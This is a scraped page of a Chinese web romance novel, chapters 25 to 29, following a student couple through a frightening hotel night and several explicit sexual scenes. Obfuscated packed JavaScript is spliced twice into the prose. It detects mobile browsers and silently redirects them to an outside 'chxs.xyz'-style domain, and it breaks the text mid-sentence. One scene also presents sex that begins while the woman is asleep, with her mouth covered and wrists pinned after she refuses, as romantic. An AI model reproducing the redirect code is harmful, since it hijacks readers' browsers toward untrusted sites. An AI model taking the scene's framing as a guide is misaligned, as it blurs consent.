同样的事情她之前已经经历过一遍，所以不会再天真到以为只要有爱，其余的都不是问题。 就算之前再怎么对她好，再怎么喜欢她，但到了最后，他们这类人，大概还是会为了家族和家族背后的利益放弃她，回到早就为他铺好的道路上去。 他们都有各自的路要走，未来漫长未知，没有什么是不可或缺的。 乔心南瑾书不像许由下午没课，在厨房里聊了会天后，很快她们便要准备出门上课，临走前，乔心拍了拍许由的肩膀，意味深长地道：“享受当下吧。” 许由笑笑，别看乔心平时咋咋呼呼的，但有的时候，她想得比自己开。 － 结果晚上的中餐，庄彻还是没让许由付钱。 许由郁闷地看着他：“都说好了这顿我请的，你干嘛要抢着付钱啊。” 庄彻笑着接受许由的全部抱怨，歪头看她：“你想还我人情？” 自己的想法被庄彻如此直白地表达出来，许由莫名感到有些别扭，但还是承认了：“嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许由觉得，庄彻现在就像是《西游记》里用水无法浇灭的三昧真火，水流越大，他反而烧得越旺盛，和他比起来，落在身上的水珠都逐渐变得冰冷起来。 火焰肆虐着灼烧过皮肤，留下蜿蜒炙热的痕迹。 等到水声停止已经是一个小时之后的事情了。 许由被庄彻用浴巾裹着抱出浴室，轻轻放到床上，露在浴巾外的肩膀上有一个残缺的咬痕。 许由被折腾的没了力气，趴在床上任由庄彻给自己吹头发。 轻柔的暖风烘得她昏昏欲睡。 她闭着眼，像是睡熟，庄彻关掉吹风机放到一边，上手准备解浴巾。 许由猛地睁开眼，侧过身抓住他的手：“干什么？” 庄彻好笑：“还能干什么，你难不成还想裹着湿浴巾睡一晚上吗？” 许由从床上坐起来：“不用你给我换，我自己换。” 庄彻从鼻子里哼出一声：“又不是没换过。” 许由不理他，视线在床上搜寻，看见床尾搭着一件白Ｔ，应该是穿过的，但是她不挑，只要穿着舒服就行。 而且庄彻爱干净，他的衣服就算是穿过也没有什么味，反而是被沾染上了一点独属于他的清冽气息。 许由一手护着浴巾就要往那边爬，被庄彻抓住脚踝拖回来。 “你干什么！”许由红着脸，气呼呼地转头瞪他，“不是你说让我把湿浴巾换下来的吗？” 庄彻笑眯眯地朝她压下来，在她唇上一触及分。 “我想了想，老是让你穿我的衣服睡也不太方便，就给你买了套睡衣。” 许由诧异地看向他，眼中带着不敢置信，脸上明晃晃地写着一句话：你会这么好心？ 庄彻啧了一声，又低头使劲咬了一口，许由吃痛地捂住嘴。 “这是惩罚，我对你什么时候抠门过。” 许由：…… 他俩想的根本不是一件事。 许由一直以为庄彻是非常乐意，甚至是致力于让自己穿他的衣服的，主要是宽松，方便他穿脱，难道她真的误会庄彻了？ 十秒钟后—— 没有。 许由看着被庄彻丢到自己腿上的玫瑰粉的吊带真丝睡裙，脸色越来越黑。 这条吊带裙用的布料几乎就快赶上她的内衣了，肩带尤其细，庄彻手下时常没个轻重，许由总感觉这个肩带在他手下活不过两轮。 而裙子胸口的部分则只有一层单薄的蕾丝薄纱，还是深Ｖ，根本就挡不住。 许由气性上来了，把裙子扔到庄彻脸上，转身又要去拿那件Ｔ恤。 “我不穿，你要是喜欢你自己穿吧。” 庄彻抓住她的脚踝把她再一次拖回来，随即压上去，凑到她耳边诱哄道：“不是说想还人情吗，穿上这条裙子就当你还了，好不好？” 许由被压得完全无法动，浴巾在挣扎间松开，而在她还没有反应过来的时候，庄彻大手一挥，那条浴巾便轻飘飘地飞到了地上。 “我穿，我穿，我穿！”许由把脸埋进被子里，大叫着投降。 庄彻刚才趁机钻到她身下的手闻言不轻不重地捏了一把：“早这么说不就得了。” 等到身上的重量消失，许由抱胸坐起身，警惕地看了一眼庄彻，然后伸手，“嗖”地一声拿过那条睡裙，背对他穿上。 庄彻被她的举动逗笑，又不是没看过，怎么防他跟防贼一样。 许由穿上衣服后总觉得束手束脚的，一低头便能看见锁骨下大片暧｜昧的痕迹，动作幅度稍微大一点就要担心会不会走光，至于那两片蕾丝——根本就挡不住！ 她干脆掀开被子躺了进去。 “怎么就睡了，这我买的衣服，我还没看到你穿上好不好看呢。” 庄彻也进了被子，一把便将许由捞起来放腿上侧坐着。 许由：…… 在面对庄彻时，她时常觉得自己像一个小鸡仔，毫无反抗之力，只能任由他把自己拎来拎去。 庄彻视线落在蕾丝布料微微透出来的那点颜色上，喉结不自觉地上下滚了滚，他像是失了魂一般，慢慢低下头。 “好看……” 粉色的蕾丝上逐渐蔓延开一片深色的痕迹。 许由情不自禁地仰头，长发从肩头滑落，扫在后背，细细密密的痒意。 而后，她紧咬着嘴唇，在浪潮起伏间，又忍不住低头去看庄彻，他垂着眼，沉迷其中的模样像烈火中蹦发出的一颗火星，落进她心底，留下一片触目惊心的印记。 她猜得没错，这条睡裙真的没能在庄彻手下撑过两轮，到最后，她还是穿上了床尾的那件白Ｔ。 第二天早上，许由从睡梦中悠悠转醒，看见庄彻蹲在衣柜前长吁短叹。 “怎么，你没衣服穿了吗？”她刚醒，声音黏黏糊糊的，听上去像是撒娇。 庄彻凑过来，在她额头上落下一个吻：“不是。” “是这件外袍。”庄彻说着将手上的那块玫瑰粉的真丝布料展示给许由看，“这是你那件睡裙配套的外袍，可惜，没办法穿了。” 许由零星的那点瞌睡虫瞬间烟消云散。 这人真的坏透了！有外袍不早拿出来，他就是故意的！ 26. 第 26 章 二月底三月初的时候，庄彻突然变得忙了起来，许由不大能在学校里碰见他了。这件事庄彻跟许由提起过，就在“睡裙事件”当晚。 但当时许由意识已经有些飘忽了，趴在枕头上用力咬着被子不让自己叫出声。 庄彻俯身，唇瓣在她耳廓上轻磨：“最近公司有点事，要Ｌ市和Ｘ市两头跑，可能没空来找你。” “你不准和别的男生说话。” “每天要给我发消息，上课要发，下课了也要发，我发消息，你必须第一时间回我。” “……” “听到没有？”庄彻突然加重力道，许由忍不住闷哼，眼泪在枕头上晕开一小片深色的痕迹。 庄彻抬手擦去她眼角的水渍，缓了动作，女生后背因为身体紧绷而凸起的肩胛骨像一只振翅欲飞的蝴蝶，庄彻俯身，一个接着一个的吻落在上面，为其点缀出艳丽的花纹。 “每天都要记得想我。” 其他的事情许由没有做到，庄彻大概也是太忙了，没顾上“监督”许由严格实施。但是每天想庄彻，许由倒是做到了。 原因是庄彻在她肩膀上留下的那道牙印过了近半个月才消，她每次看到那道牙印，就会想起庄彻那天晚上在浴室里对她做了什么。 又是一个周六晚上，许由在厨房和乔心南瑾书她们聊了会天后，端着杯子回到房间。 坐在书桌前，她突然生出一种久违感。 她好像很久都没有过过在周六晚上，和乔心南瑾书她们在厨房一边聊天一边吃零食，然后再回到房间，要么看书要么玩手机的时光了。 自新年之后，几乎每个周末她都是和庄彻待在一起的。 许由现在呆坐在书桌前，莫名有些不习惯，有种不知道该干什么的迷茫。 这不是一件好事。 许由拍了拍脸，准备给自己找点事情做。 刚打开电脑，手机上庄彻的视频电话便弹了出来 许由顿了顿，接起视频。 视频那头的庄彻正躺在床上，他似乎只开了一盏床头小灯，微弱的亮光照亮他背后的一小片地方，锋利的轮廓半隐在黑暗里，那双黑眸因为困意半阖着，没有了往日里凌厉逼人的气势，看上去甚至有点，迷糊的可爱。 许由看一眼他身后的房间，装修陈设什么的都十分陌生。 “你不在Ｘ市吗？” “嗯，”庄彻的声音很低，像是从胸腔深处发出来的，“我在Ｌ市，刚结束一个饭局回来。” 许由观察着他的脸色，问道：“你喝酒了？” “嗯。”庄彻像是难掩困意般，把脸埋在枕头里蹭了蹭，“喝了很多。” 视频里光线昏暗，但许由还是能看见庄彻从耳后到脖子那一片都红透了。 庄彻的酒量好，她是在年初期末考试后，和刘恒睿他们的那场聚餐中知道的，当时庄彻和刘恒睿暗中较劲，两个人一瓶接着一瓶的喝，但回到公寓，庄彻还是生龙活虎得跟什么似的，压根看不出醉意。 可是今天的庄彻却明显能看出醉意，他趴在床上，眼睛都快睁不开了，也不知道究竟喝了多少。 许由：“你如果困了就睡吧。” “我不睡。”庄彻突然清醒了点，抬起头来瞪大一双黑眸，幽幽地看着她，“我说过的，上课下课都得给我发消息。” 许由：“……我没有答应你。” 然而庄彻此刻什么也听不进去，自顾自地抱怨着：“你没给我发消息……” “你没有听我的话……” 许由懒得跟一个醉鬼掰扯，干脆闭上嘴，由着他发酒疯。 “那你肯定也跟男生说话了……” “你肯定……没有……想我……” “你一点也……不听话……” 庄彻的声音越来越小，最后全部陷进了枕头里，许由压根没听清他到底在嘟囔些什么。 屏幕里只剩下一个黑乎乎的脑袋，和绵长的呼吸声。 “霸道。”许由对着屏幕了小声地骂了一句，起身去浴室洗漱。 她没有挂视频，就让它这么通着。 不过等许由洗漱完出来时，她的手机因为低电量自动关机了，视频电话也因此断掉。 许由给手机充上电，没再打过去，打过去估计也不会有人接。 － 三月中旬，周五下午。 演唱会就在明天，许由她们不想演唱会当天太赶，做什么都急急忙忙的，所以决定周五便去Ｌ市，周六一早起，这样她们还可以多逛几个景点。 作为公寓里下午唯一没有课的那个人，许由本来自告奋勇想给乔心和南瑾书做顿临出发前的大餐，但是被乔心左一句“我不想你太累”，南瑾书右一句“我吃什么都可以”的“暖心”话语给哄得云里雾里的，最后被她俩拉去超市，买了一个半成品披萨，放进烤箱里烤十分钟就能吃。 她们到达Ｌ市预定的酒店已经接近深夜。 三个女生住的是标间，有两个人需要睡一张床，公平起见，采用抓阄的办法，得到的结果是许由和南瑾书一起睡一张床。 玩闹一通后，南瑾书先进浴室洗澡，留在外面的许由和乔心则是打开行李箱，整理东西。 “咚！” 门口突然传来一声重物砸门的声响。 正蹲在行李箱旁拿衣服的乔心“噌”地一下站起来，目光警惕地盯着门口:“Who?Who’sthere?” 很晚了，她们三个人既没有叫客房服务，也没有点外卖，这个时间点是不可能有人回来敲她们房间的门的。 回答乔心的是一声更重的砸门声：“咚！” 许由越过箱子来到乔心身旁，牵起她的手安抚她，下一秒，门外响起一道男声。男人解释说他是这件房间的上一任房客，落了点东西在房间里，现在想进来找。 许由拒绝，让男人明天白天再来，男人不同意，仍是不停地敲门，并说只要几分钟就好，让许由给他开门。 现在时间接近凌晨，许由自然不可能听他的话去开门。 很快，南瑾书听到声响，也穿好衣服走出浴室，和许由她们站到一起。 现在的状况十分诡异，一个陌生的男人在深夜敲她们的房间门，要进屋来找东西。酒店的房间门偏偏没有猫眼，许由她们无法确认门外到底是什么 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许由她们跟着警察去前台看了监控，然而除了前台的服务人员以外，监控没在那个时间段拍到有任何人出现在三楼的走廊里。 这说明敲她们房间门的男人有可能就住在酒店里，也有可能不是，但是男人一定对酒店的内部结构非常了解，不然监控不会拍不到他。 但因为男人没有对许由她们造成什么实质性的伤害，所以警察只是例行公事般地询问了几句，并没有在三更半夜大张旗鼓搜查酒店的意思。 警察问完情况便离开了，许由她们三个回到房间内，连性格一向稳重的南瑾书此刻也明显开始不淡定起来，她紧皱着眉头问：“那个男人会不会再回来？” 许由的手也在发抖，她进门后便立刻把反锁上，视线在房中四处寻找，看有什么东西可以用来堵门。 现在时间将近零点，而这附近也没有其他的酒店，她们如果拉着行李箱离开说不定会更危险，只能想办法撑过今晚，等明早天亮了再离开。 “咱们今天晚上都别睡了，但凡那个男人再来敲门，就立刻报警找前台。”许由没注意自己说话时的声音也在抖，推着乔心和南瑾书进屋，“我们把房间里的床头柜什么的，只要是能移动的家具都搬到门口去堵着，要是真有什么情况……” “能撑多久是多久。” 南瑾书和乔心闻言立刻行动起来，乔心一边哭，一边抱起一个椅子往门口走：“这都是些什么事啊，我们就是想来看个演唱会，呜呜呜……” “对了许由。”南瑾书突然想起来件事，“刚才我用你的手机打报警电话的时候，微信里有人找你，我想着万一我们三个真的出了什么事，应该要有人知道情况，所以就把我们当时的情况大致给那个人说了一下。” “行。” 许由搬完床头柜回到床边坐下，想着刚才找自己的说不定是邱思思或者陆雨竹，得再给她们仔细解释一下情况，免得她们太过担心，一晚上都睡不好觉。 但好巧不巧，点开微信，显示新消息加一的居然是庄彻的头像。 ［－.－：在房间里待着，谁敲门都别开，我很快就到。］ 27. 第 27 章 消息已经是二十分钟前发来的了，许由有些怔愣地放下手机。 庄彻竟然在Ｌ市吗？ 他……会来找自己吗？ “咚咚咚！” 又是一阵急促的敲门声响起，乔心以为刚才的那个男人又来了，干嚎了一嗓子，扑到座机前就要给前台打电话。 “许由，开门！”熟悉的声音从门外传来。 刹那间，房间里的三个人都愣住了。 乔心不敢置信地喃喃道：“中，中，中国人？” 她又看向床边坐着的许由：“还……知道你的名字？” 许由眨眨眼，率先反应过来，小跑着去到门口，把门口堆着的那些乱七八糟的东西挪开。 咔哒。 门开，最先映入眼帘的是庄彻焦急的脸。 庄彻今晚穿的是一套深灰色的西服，从外套、马甲，再到内里的衬衫，非常正式。量体裁衣的西服将他身材的优势进一步放大，宽肩窄腰，一双修长的腿包裹在灰色的西装裤里，哪怕他什么都不做只是站在那，都会让人无端端品出几分禁欲意味。 不过他的领带被扯松，此刻歪歪扭扭地挂着，领口的口子也松了两颗，头发本来梳了一个背头，但大概是来的时候跑得太急，有几缕碎发落下，扫在他眉骨处，弱化了他穿正装时的那股凌厉逼人的气势。 他似乎刚从某个觥筹交错的交际场离开。 “你没事吧？” 庄彻不等许由开口，便一把拉过她到自己眼前，来回翻转看了好几遍。 许由被转的晕头转向，无奈道：“他没进来房间。” 庄彻悬了一路的心总算落下，他进屋关门，一抬头，和并排坐在床边的乔心南瑾书对上视线。 有了男生，尤其还是庄彻这种个高腿长，一看就很能打的男生，南瑾书没有之前那么害怕了，主动抬手跟庄彻打招呼：“哈喽。” 庄彻朝她微微颔首。 经过一番简单的自我介绍之后，庄彻侧头问许由：“你们东西收拾了吗？” “嗯。” 许由点头，她们的东西大多都还没能来得及从箱子里拿出来，事情就发生了，所以她们从前台回来后，只用了几分钟便把东西全部塞回箱子里装好，打算明天一早就离开。 庄彻视线扫过并排放在墙角的三个箱子，问许由：“哪个箱子是你的？” 许由指了指边上那个浅蓝色的箱子，庄彻走过去，拉起拉杆，对着三个女生道：“走吧，这家酒店不安全，别在这待了，去我那住吧。” 办理好退房手续后，庄彻带着几人朝门口走。 还没有走出酒店，许由便看见酒店门口大喇喇地横停了一辆黑色的越野，几乎是堵在了酒店的门口。 不用猜，车子一定是庄彻的。 南瑾书懂点车，看到后不禁咋舌：“悍马Ｈ２，这车可不便宜啊。” 许由走在庄彻旁边，闻言问他：“这是你租的车吗？” 庄彻打开后备箱，把许由的行李箱放进去：“不是租的，我本科的时候买的，方便平时上学或者出去玩的时候开。” “那在Ｘ市怎么没见你开过？” 庄彻从乔心南瑾书手里接过行李箱，一一放进后备箱里，哼笑道：“上学就几分钟的路，开车比走路还麻烦，而且学生公寓没有停车场，不方便停车，就没有开过去。” 这样啊。 许由见过庄彻开车时的样子，坐在副驾驶时，也曾想过，按庄彻的性子，如果他要买车会买什么类型的车子。 黑色的越野车，比她要高出足足一个头的车身，硬朗利落的线条，带着十足十压迫感的野性，的确没有比这辆车更符合庄彻气质的了。 许由看一眼庄彻身上跟自己的羽绒服比起来，“略显”单薄的西服，不准备站在车外跟他聊太久，绕到车子侧面，打开副驾驶的门准备坐进去。 副驾驶的座位上放着一件黑色的大衣，许由顿了顿，才把大衣抱起，坐进车里去。等到庄彻坐进来，她把衣服递过去，庄彻没接：“我不冷，你替我抱着。” 许由把大衣稍微整理了一下，乖乖抱在怀里。 酒店不在繁华的路段，车子开出去许久都没有碰见一个路人或者车辆，两边空荡的街道上随处可见被乱丢的垃圾，店铺里都是黑漆漆一片，只有路灯孤零零地亮着，看上去萧瑟又寂寥。 车子又转过一个路口，后座的南瑾书开口了：“庄彻，今天晚上真是谢谢你了啊。” 庄彻笑着睨了一眼许由：“应该的。” 后座，乔心的手从厚厚的衣服底下伸过来，用力地捏了一把南瑾书的大腿。 南瑾书也默默捏了回去。 两个人面上有多平静，手下就有多用力。 许由没有注意到后座的暗流涌动，看着街道两边逐渐变得繁华的建筑，问道：“你现在是带我们去你住的酒店吗？” 庄彻：“不是，去我住的公寓，我本科时候住的地方。” 许由诧异，庄彻现在常住在Ｘ市，Ｌ市只是偶尔回来，但那房子一直租着，租金估计不会太便宜。 转念一想，庄彻平时花钱就大手大脚的，那点钱对他来说估计算不上什么。 红灯，车子在路口处缓缓停下。 庄彻手搭在方向盘上，侧头好笑地看着许由：“是不是又在心里说我坏话了？” 许由震惊地瞪着他，脸上明晃晃地写着一句话：你怎么知道？！ 但也不算坏话吧，最多算是吐槽，许由没什么底气地在心里补充道。 庄彻轻嗤一声，转头看回前方的道路，解释道：“房子不是租的，是买的，那里离我本科学校近，方便我上学。” “现在定期请人打扫，我来这边应酬可以住，以后放着当个度假房也不错。” 许由没再多问。 庄彻住在位于繁华商业区的一栋高层公寓里，有一个可以喝茶看风景的大露台，屋内空间又大又宽敞，算是大平层。 不过许由她们到的时候接近凌晨三点，折腾了一晚上，实在没有精力参观庄彻的豪宅了。 庄彻把乔心和南瑾书带到一间卧房前：“你们住这间，房间里就有卫生间，洗澡什么的都能解决。” 乔心和南瑾书道了谢后，站在门口没进去，视线齐刷刷地看向庄彻身后的许由。 许由见状也连忙问：“那我住哪？” 庄彻两手插兜，转身低头看着许由，在乔心和南瑾书看不到的地方， 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［南瑾书：＠许由深更半夜一知道你遇到危险，二话不说开车来找你，连外套都来不及穿，他可别太爱，啧啧啧。］ 许由被这俩人一唱一和给臊得不行，把脸埋进被子，闻到那股熟悉的清冽味道，耳后顿时烧得更厉害了。 ［乔心：＠许由这辈子交往过这么一个男友，值了！！！］ ［南瑾书：＠许由抛开他之前那些事情不说，至少现在我们能看出来，他是真的真的真的喜欢你。］ 南瑾书一句话用了三个“真的”，生怕许由不信似的。 许由在床上翻了个身，打字：［这和喜不喜欢我没多大关系，我觉得庄彻他这个人其实还蛮有正义感的，就像他为我讨公道正名一样，他］ ［他人其实挺好的。］ 乔心、南瑾书：…… 眼见乔心和南瑾书听不进去解释，还在群里不停地尖叫发疯，一会儿说庄彻不要太爱，一会儿说他好帅，中间穿插着还要感叹一句这房子好大一点也不赖。 许由赶忙想办法转移话题：［现在快四点了，你们还不睡？明天不是还要去打卡吗？］ 乔心和南瑾书瞬间安静下来。 她们明天的行程如果按照之前的规划，应该是七点起床，八点吃完早饭准备好一切，然后出门去Ｌ市著名的博物馆和公园打卡。 但因为酒店里突发的那一出，如果她们还打算按照原计划进行的话，现在只有三个小时睡觉的时间了。 没过多久，南瑾书发来消息。 ［南瑾书：先好好睡一觉吧，上午的计划只能放弃了，等下午休息好了再慢慢出去逛吧。］ 手机终于安静下来，许由正准备放下手机睡觉，微信又弹出来一条新消息。 ［－.－：你又欠了我一个人情。］ 许由：…… 她想起自己上一次被庄彻逼着“还人情”时的情形，忙不迭敲字：［回去请你吃大餐，中餐法餐意餐还是炸鱼薯条，都随你。］ 庄彻没回。 …… 许由抱着手机等了十分钟，他还是没回。 28. 第 28 章 第二天，许由醒来的时候已经快十二点了。 她洗漱完走出房间，乔心和南瑾书正倚在露台的围栏旁看风景。 见到许由出来，乔心兴奋地冲她招手：“许由你快来，这边风景可好了，能看到河哎。” 许由没在客厅里看到庄彻，去到露台深深吸了一口正午的新鲜空气，问：“庄彻呢？” 南瑾书朝半掩着门的书房抬了抬下巴：“接电话去了，应该是工作电话吧。” “哦。” 许由应着，晨起的嗓子干涩得难受，她回到室内，想去厨房接杯水喝，正好和接完电话从书房出来的庄彻打了一个照面。 庄彻穿着一件白色圆领的毛衣，下身是一条宽松的灰色运动裤，额发柔顺地垂下，整个人的气质和昨天穿西装时简直判若两人。 他两步走到许由跟前，冷不丁抬手贴上许由的额头。 “你干什么？”许由偏头躲开，被庄彻抓着后颈逮回来。 “别动。”庄彻手覆在许由额头上安静地感受了几秒，确认没有发烧后才放开她。 “你这小身板，昨天晚上又累又怕的，万一在外面吹风之后发烧了怎么办。行了，没事了，玩去吧。” 许由：“……” 她没好气地瞪庄彻一眼，转头准备去找乔心和南瑾书，懒得搭理他。结果刚走出一步，又被庄彻拽了回去。 “干嘛！” 庄彻笑眯眯地把手机递过来：“家里没菜，中午只能点外卖，看看想吃点什么。” 许由不挑嘴，吃什么都可以，她把乔心和南瑾书叫进来，三个人最后敲定了一家韩国菜。 点完菜，庄彻拿回手机，再自然不过地付了钱。 乔心和南瑾书觉得这样不太好，白住人家的房子就算了，哪有吃饭也让人给钱的道理。 于是南瑾书客客气气地开口：“这顿饭我跟乔心请吧，就当是住宿费了。” 庄彻笑，视线落在许由身上：“许由的朋友就是我的朋友，别跟我客气。” 许由正在喝水，听到这话差点没被呛到。 下午，庄彻尽职地做起了许由三人的司机兼地陪，带着三人去她们之前定下的几个景点打卡。 逛购物街的时候，庄彻突然接到一个电话，许由走在他身边，听到电话那头似乎是一个女生的声音。 庄彻没什么情绪地应了几句，挂断电话，他低头看向许由：“我去送个东西，你在这里等我，我很快回来。” 许由善解人意地冲他摆摆手：“没关系，你如果有事的话就先去忙吧，不着急回来，现在时间不早了，我们再逛一会就得打车去场馆，你回来了也待不久。” 庄彻犹豫片刻，收起手机：“行，那演唱会结束我再来接你们。” 庄彻离开后，许由和乔心南瑾书继续逛，路过一家珠宝品牌的门店时，许由忽然停下脚步：“我想进去逛逛。” “行呀，”乔心挽着许由往里走，“你想看什么？项链还是耳环？” 许由摇头：“都不是。” “庄彻昨天不是帮了我们嘛，我想给他买个礼物，就当做是谢礼了。” 南瑾书闻言纳闷道：“你们两个哪里需要算得这么清。” 许由没应声，在心中腹诽：是他先跟我算得这么清的。 等到许由挑好礼物准备去付钱的时候，乔心和南瑾书都用一副欲言又止的表情看着她。 她们本来想说跟许由平摊这一份礼物的价钱的，但现在这个情况吧，她俩还真不好开那个口。 南瑾书挠挠头，看着许由面上过于纯净的笑容，不知道该怎么劝，憋了半天才憋出一句：“这个……有点贵了吧，不然我们再看看其他的？” 许由倒是很满意自己挑的礼物：“还好啦，我平时都没有什么花钱的地方，我爸妈给我的生活费剩了不少呢。” 许由跟庄彻在一起时，无论是吃饭还是逛街，庄彻都没让她花过钱，许由因此省下来不少钱，这礼物虽然贵，但尚在她负担范围之内。 而且庄彻这人眼光挑的很，尤其是在穿搭上，一件普通的白Ｔ都要好几千，送便宜了许由怕他看不上，就不算她还上人情了。 南瑾书：“那……你开心就好，呵呵。” － 晚上看演唱会之前，三个女生在吃饭时小酌了几杯，许由因为酒精刺激而亢奋的情绪，一直持续到演唱会结束，回到庄彻公寓都还没有消退。 趁着乔心和南瑾书进屋洗漱的工夫，许由从包里掏出下午买的礼物递给庄彻。 庄彻挑眉接过，嘴角高高扬起：“这是什么？” “谢礼。”许由脸上不知是醉意还是被演唱会的氛围晕染，两颊都透着淡淡的粉色，她一本正经地回答道，“谢谢你昨天晚上那么晚了还赶来酒店接我，还让我和我朋友免费住你的房子。” 庄彻脸上笑容僵硬一瞬，语气多了几分散漫：“还我人情？” 许由点头。 庄彻从喉咙深处泄出一声轻哼，拆礼品袋的动作慢了下来，为了还人情买的礼物，和单纯买礼物送他的意义是不一样的。 而且许由的“还人情”和他的“还人情”也完全不一样，许由的“还人情”充满了公式化的客套，和她的人一样，透着股一本正经的味道。 庄彻不喜欢这样。 他讨厌许由和自己事事都算得过于清楚，仿佛随时都能干净利落地抽身离开的样子。 他面色平淡地拿出里面的盒子，看了看大小，大概能猜出许由送自己的是什么了，袖扣。 可打开盒子后，他却当场怔住，抬眼看向许由时，许由第一次在他眼中看到类似于惊讶和无措交织的神情。 许由以为他有话对自己说，站在他面前安静地等着，但过了许久，他都没有说话。许由心里纳闷，正想问他是不是不喜欢，却见他突然把盒子递过来，嗓音莫名有些沙哑：“你帮我戴上。” 不就是戒指吗，有什么不会戴的。 许由心里奇怪归奇怪，但还是听话地把戒指从盒子里取出来，牵起庄彻的手。不知道是不是错觉，她觉得庄彻的手好像在发抖。 两人此刻站在餐厅的岛台旁，暖黄色的灯光从上落下，落在许由长且浓密的睫毛上，像阳光下洒满碎钻的蝴蝶翅膀，忽闪忽闪。 庄彻眼睛一眨不眨地看着许由，连呼吸都放轻了许多。 心中犹如狂风过境，胸腔里的心跳声一声重过一声，有一瞬间，庄彻甚至觉得自己什么都听不到了，周遭的景色飞速退去色彩，他眼中只看得到许由，正在帮他戴戒指的许由。 戒指的款式非常简单，一个银色素圈宽版戒指，戒指外圈刻着品牌的专属ｌｏｇｏ。 然后他看见—— 许由缓缓把戒指推进了他的左手大拇指，而后兴奋地抬头，晃了晃他的手：“你看，尺寸刚好。” 庄彻：“……” 他脸上的表情十分复杂，要说开心，那肯定算不上，伤心，似乎有一点，但更多的，是无语，以及生气。 “戒指是戴在这个手指头上的吗？”他又好气又好笑，板着声音质问道。 “怎么不是。” 许由一边说着，一边将其余四个手指往里掰，把庄彻的左手摆成竖大拇指的手势后对着自己，邀功一般地问：“看，是不是很好看？” 庄彻的手骨节分明，手指修长，手背上青色的血管微微凸起，但并不突兀，看起来很干净，和他极具攻击性的浓颜长相以及身上那股桀骜的劲不同，他的手更像是古诗词里形容的谦谦君子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529405|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般，温润如玉，带着清和的少年感。 …… 兴许是喝了酒的缘故，许由今晚格外地坦诚，见庄彻不说话，眼神幽怨地看着自己，便又补充道：“我觉得你昨天穿西装很好看，但是总感觉差了点什么。” 她举起庄彻的“点赞”手势晃了晃：“现在就很完美了，电视剧里的霸总都是这样的，穿西装，然后在大拇指上戴一个戒指。” 庄彻脸上表情出现一瞬的怔愣，他默默收回手，转着大拇指上的戒指，好一会，才开口：“你觉得我穿西装好看？” “嗯。”许由目光真挚地点头。 “也行。” 庄彻垂下眼，声音很低，不像是在和许由说话，更像是自言自语：“就是可惜了……” “可惜什么？”许由问他。 庄彻却只是笑。 可惜了，今天晚上本来打算放过你的。 由于晚饭时喝了一点酒，再加上在演唱会时消耗了许多体力，许由睡得很沉。以至于庄彻打开房门，轻手轻脚爬上床时，她还沉浸在睡梦中没有被吵醒。 直到，一抹冰凉滑进睡衣下摆，抚上她的腰，开始不轻不重地揉｜捏。 许由倏地睁眼，没等她发出声音，身后就伸过来一只大手捂住她的嘴。 略有些粗粝的指腹磨着她脸颊的软肉，温热掌心里是和她身上盖着的被子如出一辙清冽的味道。 “别怕，是我。” 庄彻的声音在头顶响起，随即后背紧紧贴上来一个硬实灼热的胸膛。 许由刚悬起的心重重落地，她把捂着自己嘴的手掰开，朝身后人怒道：“你干嘛！” 庄彻满含笑意的声音在黑暗中响起，后背贴着的胸膛微微震颤：“嗯。” 许由：“……” 她开始挣扎：“不要！乔心和南瑾书她们就在隔壁，会听到的……” 庄彻隔着薄薄的一层布料抵住她，许由瞬间清醒，灼热滚烫的吻一个接着一个落在她耳廓和后颈，他似哄似骗：“听不到的，我这房子隔音很好，你小声一点，她们就听不到。” 许由本来就喝了酒，再加上睡得迷迷糊糊地被庄彻弄醒，身上没什么力气，很快两只手便被庄彻牢牢制住。 庄彻空闲着的另一只手缓缓向上，声音莫名带着几分委屈：“我很想你，我们两周没见面了，你不想我吗？” 许由挣扎的动作一顿，庄彻察觉到，在她看不到的地方，唇角越挑越高，手下动作也更加的肆无忌惮起来。 一抹冰凉的触感状似无意地划过顶端。 许由已经在尽力忍着了，却还是没忍住闷哼出声，身体不受控制地弓起。 庄彻的呼吸闷热潮｜湿，炙烤着她耳廓和脖颈：“感觉到了吗？这是你送给我的戒指。” “我很喜欢。” 许由很瘦，全身上下哪里的肉都不多，尽管之前庄彻有心投喂，但奈何许由胃口只有那么大，吃饱了就放筷子，绝不再多吃一口。 因此，庄彻这都喂了快四个月了，也没多喂出二两肉来，他手掌宽大骨节修长，又因为许由侧睡的缘故，一只手便能轻松覆住全部。 之前的无数次经历，让庄彻无比熟悉如何能让许由快速地进入状态，但在许由看不见的地方，他额角浮现出明显的青筋轮廓，仍是忍得十分辛苦。 没过多久，感受到怀中人紧绷的身体逐渐软化成水，庄彻松开了对许由手腕的桎梏，右手轻抚上左手拇指的戒圈。 外圈仍旧冰冷，还没有沾染上许由的温度。 戒指在拇指根部转了一圈，然后被缓缓取出，套进了无名指。 他左手向下，指腹轻触上许由平坦的小腹，再继续往下，挑开那层布料。 “我希望你也会喜欢。” 29. 第 29 章 第二天早上，许由洗漱完穿着高领毛衣走出房间，乔心和南瑾书正坐在桌边吃早餐，庄彻则是倚在沙发里，优哉游哉地喝着咖啡，一脸餍足的模样。 乔心和南瑾书并没有撞见庄彻从许由房间出来的场景，她们起来的时候，庄彻已经在厨房冲咖啡了。 见许由出来得晚，两人也没有多想，乔心冲许由招手：“你醒啦，快来吃早饭吧。” 许由走过去坐下。 早餐是昨天在楼下超市买的巧克力玛芬蛋糕，很甜，配上一杯热美式正好。 许由吃着蛋糕朝庄彻那边扫去一眼，他左手大拇指上的银戒反着清润的光，昨天晚上戒指被她身体热度包裹时的冰冷触感仿佛纹身一般烙印进身体里。 